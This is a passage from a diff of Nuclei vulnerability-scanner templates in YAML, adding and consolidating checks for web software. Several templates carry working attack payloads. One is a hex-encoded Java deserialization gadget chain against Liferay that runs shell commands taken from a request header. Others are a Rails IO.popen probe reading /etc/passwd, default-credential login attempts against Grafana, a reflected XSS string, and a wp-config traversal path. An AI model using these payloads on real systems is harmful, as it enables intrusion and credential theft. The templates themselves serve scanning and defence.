+        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
+    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "nonexistent:1337"
-        part: body
+          - "Microsoft Corporation"
+          - "Distributor ID"
+          - "kern.ostype"
+        condition: or
+        part: body
+      - type: status
+        status:
+          - 200
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "Microsoft Windows (.*)"
+          - "kern.ostype: (.*)"
+          - "Distributor ID: (.*)"
@@ -0,0 +1,22 @@
+id: CVE-2020-8163
+
+info:
+  name: Potential Remote Code Execution on Rails
+  author: tim_koopmans
+  severity: high
+  description: Tests for ability to pass user parameters as local variables into partials
+  # reference: https://correkt.horse/ruby/2020/08/22/CVE-2020-8163/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
@@ -0,0 +1,55 @@
+id: CVE-2020-9496
+
+info:
+  name: Apache OFBiz XML-RPC Java Deserialization
+  author: dwisiswant0
+  severity: medium
+
+  # This temaplte detects a Java deserialization vulnerability in Apache
+  # OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
+  # versions prior to 17.12.04.
+  # --
+  # References:
+  # - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
+
+requests:
+  - raw:
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}
+        Origin: http://{{Hostname}}
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8080
+        Origin: http://{{Hostname}}:8080
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+
+      - |
+        POST /webtools/control/xmlrpc HTTP/1.1
+        Host: {{Hostname}}:8443
+        Origin: https://{{Hostname}}:8443
+        Content-Type: application/xml
+
+        <?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "faultString"
+          - "No such service [ProjectDiscovery]"
+          - "methodResponse"
+        condition: and
+        part: body
+      - type: word
+        words:
+          - "Content-Type: text/xml"
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,61 @@
+id: grafana-default-credential
+info:
+  name: Grafana Default Credentials Check
+  author: pdteam
+  severity: high
+
+requests:
+
+    # https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
+    # https://github.com/grafana/grafana/issues/14755
+    # Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
+    # So make sure, not to attempt more than 4 password for same valid user.
+
+  - payloads:
+
+    # grafana_username:
+    #  - admin
+
+      grafana_password:
+        - prom-operator
+        - admin
+
+    # Added default grafana and prometheus user.
+    # Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
+
+    attack: sniper
+
+    # Available types: sniper, pitchfork and clusterbomb
+
+    raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+        content-type: application/json
+        Connection: close
+
+        {"user":"admin","password":"grafana_password"}
+
+     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - grafana_session
+        part: header
+        # Check for 'grafana_session' cookie on valid login in the response header.
+
+      - type: word
+        words:
+          - Logged in
+        part: body
+        # Check for valid string on valid login.
+
+      - type: status
+        status:
+          - 200
@@ -1,6 +1,6 @@
-id: tomcat-manager-bruteforce
+id: tomcat-manager-default
 info:
-  name: tomcat-manager-bruteforce-fuzzing
+  name: tomcat-manager-default-password
  author: pdteam
  severity: high

@@ -18,9 +18,6 @@ requests:
        - 12345
        - 123456

-
-    # Make sure you have your wordlist on the defind path.
-
    attack: clusterbomb  # Available options: sniper, pitchfork and clusterbomb

    raw:
@@ -1,15 +0,0 @@
-id: debug-pprof
-
-info:
-  name: pprof debug file
-  author: pdteam
-  severity: low
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/debug/pprof/"
-    matchers:
-      - type: word
-        words:
-          - "Types of profiles available"
@@ -0,0 +1,30 @@
+id: ds-store-file
+
+info:
+  name: Dirctory Listing via DS_Store
+  author: 0w4ys
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.DS_Store"
+    headers:
+      User-Agent: "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "\x00@\x00"
+
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "Accept-Ranges: bytes"
+          - "octet-stream"
+        condition: or
+        part: header
@@ -12,4 +12,4 @@ requests:
    matchers:
      - type: word
        words:
-          - "RadAsyncUpload handler is registered successfully"
+          - "RadAsyncUpload handler is registered succesfully"
@@ -10,9 +10,14 @@ requests:
    path:
      - "{{BaseURL}}/examples/servlets/index.html"
      - "{{BaseURL}}/examples/jsp/index.html"
+      - "{{BaseURL}}/examples/websocket/index.xhtml"
+      - "{{BaseURL}}/..;/examples/servlets/index.html"
+      - "{{BaseURL}}/..;/examples/jsp/index.html"
+      - "{{BaseURL}}/..;/examples/websocket/index.xhtml"
    matchers:
      - type: word
        words:
          - "JSP Examples"
          - "JSP Samples"
          - "Servlets Examples"
+          - "WebSocket Examples"
@@ -0,0 +1,23 @@
+# id contains the unique identifier for the template.
+id: top-15-xss
+
+info:
+  # Name is the name of the template
+  name: Top 15 XSS Check
+  # Author is the name of the author for the template
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
+  author: foulenzer
+  # Severity is the severity for the template.
+  severity: medium
+  #  Description optionally describes the template.
+  description: Searches for reflected XSS in the server response via GET-requests.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?q%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526s%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526search%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526id%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526action%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keyword%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526query%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526page%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526keywords%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526url%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526view%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526cat%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526name%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526key%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E%2526p%3D%27%3E%22%3Csvg%2Fonload%3Dconfirm%28%27testing-xss%27%29%3E"
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=confirm('testing-xss')>"
+        part: body
@@ -0,0 +1,21 @@
+id: missing-x-frame-options
+
+info:
+  name: Clickjacking (Missing XFO header)
+  author: kurohost
+  severity: low
+
+  # This is an valid issue "only" when you able to frame authenticated page with poc to make state changing actions.
+  # Without working poc, do not report this.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    max-redirects: 2
+    matchers:
+      - type: dsl
+        dsl:
+          - "!contains(tolower(all_headers), 'x-frame-options')"
@@ -0,0 +1,30 @@
+id: put-method-enabled
+
+info:
+  name: PUT method enabled
+  author: xElkomy
+  severity: high
+
+# https://portswigger.net/kb/issues/00100900_http-put-method-is-enabled
+
+requests:
+  - raw:
+      - |
+        PUT /testing-put.txt HTTP/1.1
+        Content-Type: text/plain
+
+        testing-payload
+
+      - |
+        GET /testing-put.txt HTTP/1.1
+        Content-Type: text/plain
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - testing-payload
@@ -22,12 +22,10 @@ requests:
      - "{{BaseURL}}/actuator/exportRegisteredServices"
      - "{{BaseURL}}/actuator/features"
      - "{{BaseURL}}/actuator/flyway"
-      - "{{BaseURL}}/actuator/health"
      - "{{BaseURL}}/actuator/healthcheck"
      - "{{BaseURL}}/actuator/heapdump"
      - "{{BaseURL}}/actuator/httptrace"
      - "{{BaseURL}}/actuator/hystrix.stream"
-      - "{{BaseURL}}/actuator/info"
      - "{{BaseURL}}/actuator/integrationgraph"
      - "{{BaseURL}}/actuator/jolokia"
      - "{{BaseURL}}/actuator/liquibase"
@@ -58,10 +56,8 @@ requests:
      - "{{BaseURL}}/configprops"
      - "{{BaseURL}}/dump"
      - "{{BaseURL}}/env"
-      - "{{BaseURL}}/health"
      - "{{BaseURL}}/heapdump"
      - "{{BaseURL}}/hystrix.stream"
-      - "{{BaseURL}}/info"
      - "{{BaseURL}}/jolokia"
      - "{{BaseURL}}/jolokia/list"
      - "{{BaseURL}}:8090/jolokia"
@@ -0,0 +1,26 @@
+id: wordpress-accessible-wpconfig
+info:
+  name: WordPress accessible wp-config
+  author: Kiblyn11 & zomsop82 & madrobot & geeknik
+  severity: high
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-config.php'
+      - '{{BaseURL}}/wp-config-sample.php'
+      - '{{BaseURL}}/wp-config.php.txt'
+      - '{{BaseURL}}/wp-config.php.bak'
+      - '{{BaseURL}}/wp-config.php.old'
+      - '{{BaseURL}}/wp-config-backup.txt'
+      - '{{BaseURL}}/wp-config.php.save'
+      - '{{BaseURL}}/wp-config.php~'
+      - '{{BaseURL}}/wp-config.php.orig'
+      - '{{BaseURL}}/wp-config.php.original'
+      - '{{BaseURL}}/wp-license.php?file=../..//wp-config'
+      - '{{BaseURL}}/_wpeprivate/config.json'
+    matchers:
+      - type: word
+        words:
+          - DB_NAME
+          - WPENGINE_ACCOUNT
+        part: body
@@ -1,18 +0,0 @@
-id: aem-cms-finder
-
-info:
-  name: AEM Finder
-  author: mzack9999
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}"
-    matchers:
-      - type: word
-        words:
-          - "/etc/clientlibs/"
-          - "/content/dam/"
-        part: body
-        condition: or
@@ -0,0 +1,18 @@
+id: artica-web-proxy-detect
+info:
+  name: Artica Web Proxy Detect
+  author: dwisiswant0
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/fw.login.php"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Welcome to the Artica Web Administration Interface"
+      - type: status
+        status:
+          - 200
@@ -1,50 +0,0 @@
-id: content-delivery-network
-
-info:
-  name: Detect content delivery network
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: cloudflare
-        words:
-          - "cloudflare"
-        part: header
-      - type: word
-        name: akamai
-        words:
-          - "AkamaiGHost"
-        part: header
-      - type: word
-        name: sucuri
-        words:
-          - "Sucuri/Cloudproxy"
-        part: header
-      - type: word
-        name: Imperva
-        words:
-          - "X-Iinfo:"
-        part: header
-      - type: word
-        name: ddos-guard
-        words:
-          - "ddos-guard"
-        part: header
-      - type: word
-        name: dosarrest
-        words:
-          - "DOSarrest"
-          - "X-DIS-Request-ID:"
-        part: header
-      - type: word
-        name: arvancloud
-        words:
-          - "ArvanCloud"
-          - "AR-Request-ID:"
-        part: header
@@ -1,19 +0,0 @@
-id: clockwork-php-header
-info:
-  name: Clockwork PHP exposure
-  author: organiccrap
-  severity: high
-  # https://twitter.com/damian_89_/status/1250721398747791360
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/'
-    headers:
-      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
-    matchers:
-      - type: word
-        words:
-          - 'X-Clockwork-Id:'
-          - 'X-Clockwork-Version:'
-        part: header
-        condition: and
@@ -1,28 +0,0 @@
-id: cms-detect
-
-info:
-  name: CMS Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: drupal
-        words:
-          - "X-Drupal"
-          - "x-drupal"
-          - "X-Generator: Drupal"
-        condition: or
-        part: header
-      - type: word
-        name: wordpress
-        words:
-          - "/wp-content/"
-          - "/wp-includes/"
-        condition: or
-        part: body
@@ -0,0 +1,71 @@
+id: favicon-detection
+
+info:
+  name: favicon
+  author: un-fmunozs
+  severity: info
+
+  # 946,0488faca4c19046b94d07c3ee83cf9d6,springboot
+  # 2336,02f4db63a9cfb650c05ffd82956cbfd6,proxmox
+  # 21630,4644f2d45601037b8423d45e13194c93,tomcat
+  # 6518,3e7f8aa6768bba07751fe8570d7a244c,airwatch
+  # 30894,6eb4a43cb64c97f76562af703893c8fd,xampp
+  # 765,e16377344d2d52a15e735041b3eb2c5a,kibana
+  # 17542,e16377344d2d52a15e735041b3eb2c5a,jenkins
+  # 1150,6d2adf39ca320265830403dfc030033a,liferay
+  # 3638,59a0c7b6e4848ccdabcea0636efda02b,blogger
+  # 198,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+  # 5430,59a0c7b6e4848ccdabcea0636efda02b,wordpress
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/favicon.ico"
+    redirects: true
+    max-redirects: 3
+    matchers-condition: or
+    matchers:
+      - type: dsl
+        name: springboot
+        dsl:
+          - "len(body)==946 && status_code==200 && (\"0488faca4c19046b94d07c3ee83cf9d6\" == md5(body))"
+      - type: dsl
+        name: proxmox
+        dsl:
+          - "len(body)==2336 && status_code==200 && (\"02f4db63a9cfb650c05ffd82956cbfd6\" == md5(body))"
+      - type: dsl
+        name: tomcat
+        dsl:
+          - "len(body)==21630 && status_code==200 && (\"4644f2d45601037b8423d45e13194c93\" == md5(body))"
+      - type: dsl
+        name: airwatch
+        dsl:
+          - "len(body)==6518 && status_code==200 && (\"3e7f8aa6768bba07751fe8570d7a244c\" == md5(body))"
+      - type: dsl
+        name: blogger
+        dsl:
+          - "len(body)==3638 && status_code==200 && (\"59a0c7b6e4848ccdabcea0636efda02b\" == md5(body))"
+      - type: dsl
+        name: xampp
+        dsl:
+          - "len(body)==30894 && status_code==200 && (\"6eb4a43cb64c97f76562af703893c8fd\" == md5(body))"
+      - type: dsl
+        name: kibana
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"e16377344d2d52a15e735041b3eb2c5a\" == md5(body))"
+      - type: dsl
+        name: liferay
+        dsl:
+          - "len(body)==1150 && status_code==200 && (\"6d2adf39ca320265830403dfc030033a\" == md5(body))"
+      - type: dsl
+        name: jenkins
+        dsl:
+          - "len(body)==17542 && status_code==200 && (\"23e8c7bd78e8cd826c5a6073b15068b1\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==198 && status_code==200 && (\"c6acedaff906029fc5455d9ec52c7f42\" == md5(body))"
+      - type: dsl
+        name: wordpress
+        dsl:
+          - "len(body)==5430 && status_code==200 && (\"c291c057816f71ce15ba5c496f1a965a\" == md5(body))"
@@ -1,16 +0,0 @@
-id: jenkins-headers-detect
-
-info:
-  name: Jenkins Headers Based Detection
-  author: ice3man
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "X-Jenkins"
-        part: header
@@ -1,59 +0,0 @@
-id: ntlm-directories
-
-info:
-  name: Discovering directories w/ NTLM
-  author: puzzlepeaches
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/abs/"
-      - "{{BaseURL}}/adfs/services/trust/2005/windowstransport"
-      - "{{BaseURL}}/aspnet_client/"
-      - "{{BaseURL}}/autodiscover/"
-      - "{{BaseURL}}/autoupdate/"
-      - "{{BaseURL}}/certenroll/"
-      - "{{BaseURL}}/certprov/"
-      - "{{BaseURL}}/certsrv/"
-      - "{{BaseURL}}/conf/"
-      - "{{BaseURL}}/deviceupdatefiles_ext/"
-      - "{{BaseURL}}/deviceupdatefiles_int/"
-      - "{{BaseURL}}/dialin/"
-      - "{{BaseURL}}/ecp/"
-      - "{{BaseURL}}/etc/"
-      - "{{BaseURL}}/ews/"
-      - "{{BaseURL}}/exchange/"
-      - "{{BaseURL}}/exchweb/"
-      - "{{BaseURL}}/groupexpansion/"
-      - "{{BaseURL}}/hybridconfig/"
-      - "{{BaseURL}}/mcx/"
-      - "{{BaseURL}}/mcx/mcxservice.svc"
-      - "{{BaseURL}}/meet/"
-      - "{{BaseURL}}/meeting/"
-      - "{{BaseURL}}/microsoft-server-activesync/"
-      - "{{BaseURL}}/oab/"
-      - "{{BaseURL}}/ocsp/"
-      - "{{BaseURL}}/owa/"
-      - "{{BaseURL}}/persistentchat/"
-      - "{{BaseURL}}/phoneconferencing/"
-      - "{{BaseURL}}/powershell/"
-      - "{{BaseURL}}/public/"
-      - "{{BaseURL}}/reach/sip.svc"
-      - "{{BaseURL}}/requesthandler/"
-      - "{{BaseURL}}/requesthandlerext/"
-      - "{{BaseURL}}/rgs/"
-      - "{{BaseURL}}/rgsclients/"
-      - "{{BaseURL}}/rpc/"
-      - "{{BaseURL}}/rpcwithcert/"
-      - "{{BaseURL}}/scheduler/"
-      - "{{BaseURL}}/ucwa/"
-      - "{{BaseURL}}/unifiedmessaging/"
-      - "{{BaseURL}}/webticket/"
-      - "{{BaseURL}}/webticket/webticketservice.svc"
-      - "{{BaseURL}}/webticket/webticketservice.svcabs/"
-    matchers:
-      - type: word
-        words:
-          - "Www-Authenticate"
-        part: header
@@ -1,34 +0,0 @@
-id: programming-language-detect
-
-info:
-  name: Programming Language Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: php
-        words:
-          - "X-Powered-By: PHP"
-          - "PHPSESSID"
-        part: header
-      - type: word
-        name: node
-        words:
-          - "Server: NodeJS"
-          - "X-Powered-By: nodejs"
-        condition: or
-        part: header
-      - type: word
-        name: python
-        words:
-          - "Python/2."
-          - "Python/3."
-          - "CPython/3."
-        condition: or
-        part: header
@@ -1,23 +0,0 @@
-id: reverse-proxy-detect
-
-info:
-  name: Reverse Proxy Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: nginx
-        words:
-          - "Server: nginx"
-        part: header
-      - type: word
-        name: apache
-        words:
-          - "Server: Apache"
-        part: header
@@ -1024,6 +1024,11 @@ requests:
        regex:
          - <div id="copyright">Powered by vBulletin
        condition: or
+      - type: word
+        name: vbulletin
+        words:
+          - 'vBulletin.version'
+          - 'content="vBulletin'
        part: body
      - type: regex
        name: meteor
@@ -1827,8 +1832,11 @@ requests:
        name: drupal
        regex:
          - <(?:link|style)[^>]+"/sites/(?:default|all)/(?:themes|modules)/
+          - "X-Drupal"
+          - "x-drupal"
+          - "X-Generator: Drupal"
        condition: or
-        part: body
+        part: all
      - type: regex
        name: webxpay
        regex:
@@ -2472,4 +2480,205 @@ requests:
        regex:
          - " <a [^>]+Powered by Lithium"
        condition: or
+        part: body
+
+      - type: word
+        name: clockwork
+        words:
+          - 'X-Clockwork-Id:'
+          - 'X-Clockwork-Version:'
+        part: header
+
+      - type: word
+        name: symfony
+        words:
+          - "Set-Cookie: symfony="
+        part: header
+
+      - type: word
+        name: laravel
+        words:
+          - "Set-Cookie: laravel_session="
+        part: header
+
+      - type: word
+        name: express
+        words:
+          - "X-Powered-By: Express"
+        part: header
+
+      - type: word
+        name: rails
+        words:
+          - "meta content=\"authenticity_token\" name=\"csrf-param"
+        part: body
+
+      - type: word
+        name: angular
+        words:
+          - "ng-app=\""
+          - "<ng-app"
+          - "*ngIf="
+          - "ng-controller="
+        condition: or
+        part: body
+
+      - type: word
+        name: apache
+        words:
+          - "Apache"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: lighttpd
+        words:
+          - "lighttpd"
+        part: header
+      - type: word
+        name: wsgiserver
+        words:
+          - "WSGIServer"
+        part: header
+      - type: word
+        name: simplehttp
+        words:
+          - "SimpleHTTP"
+        part: header
+      - type: word
+        name: twistedweb
+        words:
+          - "TwistedWeb"
+        part: header
+      - type: word
+        name: tsm
+        words:
+          - "TSM_HTTP"
+        part: header
+      - type: word
+        name: ms-iis
+        words:
+          - "Microsoft-IIS"
+        part: header
+      - type: word
+        name: ms-httpapi
+        words:
+          - "Microsoft-HTTPAPI"
+        part: header
+      - type: word
+        name: tomcat
+        words:
+          - "Tomcat"
+        part: header
+      - type: word
+        name: darkhttpd
+        words:
+          - "darkhttpd"
+        part: header
+      - type: word
+        name: cherrypy
+        words:
+          - "CherryPy"
+        part: header
+      - type: word
+        name: cherokee
+        words:
+          - "Cherokee"
+        part: header
+      - type: word
+        name: caddy
+        words:
+          - "Caddy"
+        part: header
+      - type: word
+        name: jetty
+        words:
+          - "Jetty"
+        part: header
+
+      - type: word
+        name: nginx
+        words:
+          - "Server: nginx"
+        part: header
+      - type: word
+        name: apache
+        words:
+          - "Server: Apache"
+        part: header
+
+      - type: word
+        name: php
+        words:
+          - "X-Powered-By: PHP"
+          - "PHPSESSID"
+        part: header
+      - type: word
+        name: node
+        words:
+          - "Server: NodeJS"
+          - "X-Powered-By: nodejs"
+        condition: or
+        part: header
+      - type: word
+        name: python
+        words:
+          - "Python/2."
+          - "Python/3."
+          - "CPython/3."
+        condition: or
+        part: header
+
+      - type: word
+        name: jenkins
+        words:
+          - "X-Jenkins"
+        part: header
+
+      - type: word
+        name: cloudflare
+        words:
+          - "cloudflare"
+        part: header
+      - type: word
+        name: akamai
+        words:
+          - "AkamaiGHost"
+        part: header
+      - type: word
+        name: sucuri
+        words:
+          - "Sucuri/Cloudproxy"
+        part: header
+      - type: word
+        name: Imperva
+        words:
+          - "X-Iinfo:"
+        part: header
+      - type: word
+        name: ddos-guard
+        words:
+          - "ddos-guard"
+        part: header
+      - type: word
+        name: dosarrest
+        words:
+          - "DOSarrest"
+          - "X-DIS-Request-ID:"
+        part: header
+      - type: word
+        name: arvancloud
+        words:
+          - "ArvanCloud"
+          - "AR-Request-ID:"
+        part: header
+
+      - type: word
+        name: aem_cms
+        words:
+          - "/etc/clientlibs/"
+          - "/content/dam/"
        part: body
@@ -1,17 +0,0 @@
-id: tool-detect
-
-info:
-  name: Tool Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        name: clockwork
-        words:
-          - "X-Clockwork-Id"
-        part: header
@@ -1,42 +0,0 @@
-id: web-framework-detect
-
-info:
-  name: Web Framework Detect
-  author: NkxxkN https://twitter.com/NkkxN
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: symfony
-        words:
-          - "Set-Cookie: symfony="
-        part: header
-      - type: word
-        name: laravel
-        words:
-          - "Set-Cookie: laravel_session="
-        part: header
-      - type: word
-        name: express
-        words:
-          - "X-Powered-By: Express"
-        part: header
-      - type: word
-        name: rails
-        words:
-          - "meta content=\"authenticity_token\" name=\"csrf-param"
-        part: body
-      - type: word
-        name: angular
-        words:
-          - "ng-app=\""
-          - "<ng-app"
-          - "*ngIf="
-          - "ng-controller="
-        condition: or
-        part: body
@@ -1,88 +0,0 @@
-id: web-server
-
-info:
-  name: Detect web server daemon
-  author: fabaff
-  severity: info
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/"
-    matchers-condition: or
-    matchers:
-      - type: word
-        name: apache
-        words:
-          - "Apache"
